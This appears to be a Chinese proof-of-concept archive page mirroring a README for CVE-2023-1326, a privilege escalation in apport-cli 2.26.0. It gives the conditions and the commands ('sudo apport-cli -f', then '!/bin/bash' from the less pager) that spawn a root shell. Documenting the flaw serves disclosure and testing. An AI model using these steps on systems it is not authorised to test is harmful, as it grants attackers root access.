POC详情: 0893de9bd221c5c1bece4efe063450393467850d

来源
关联漏洞
标题: Apport 安全漏洞 (CVE-2023-1326)
描述:Canonical Apport是英国科能软件(Canonical)公司的一款用于收集并反馈错误信息(当应用程序崩溃时操作系统认为有用的信息)的工具包。 Apport 2.26.0及之前版本存在安全漏洞,该漏洞源于存在特权升级漏洞,攻击者利用该漏洞可以提升权限。
介绍
# CVE-2023-1326

A proof of concept for CVE-2023–1326 in apport-cli 2.26.0

This vulnerability is privilege escalation in apport-cli 2.26.0, similar to CVE-2023–26604, this vulnerability only works if assign in sudoers:

![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/f052d0f2-6f35-4510-8a7c-b2133fa3c6b2)

A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege.

```
sudo /usr/bin/apport-cli -f
```

![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/ce8fe682-3be4-4420-87e0-ad1b75126af3)

![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/db6f803e-b8d7-43b9-93ed-21dc648f08df)

![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/3dbbc88f-b3f8-4650-8fe3-1050f123bed6)

```
!id
!/bin/bash
```
![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/efed11c2-af7b-4866-9ccf-bb561da6018d)



文件快照

[4.0K] /data/pocs/0893de9bd221c5c1bece4efe063450393467850d └── [1.1K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。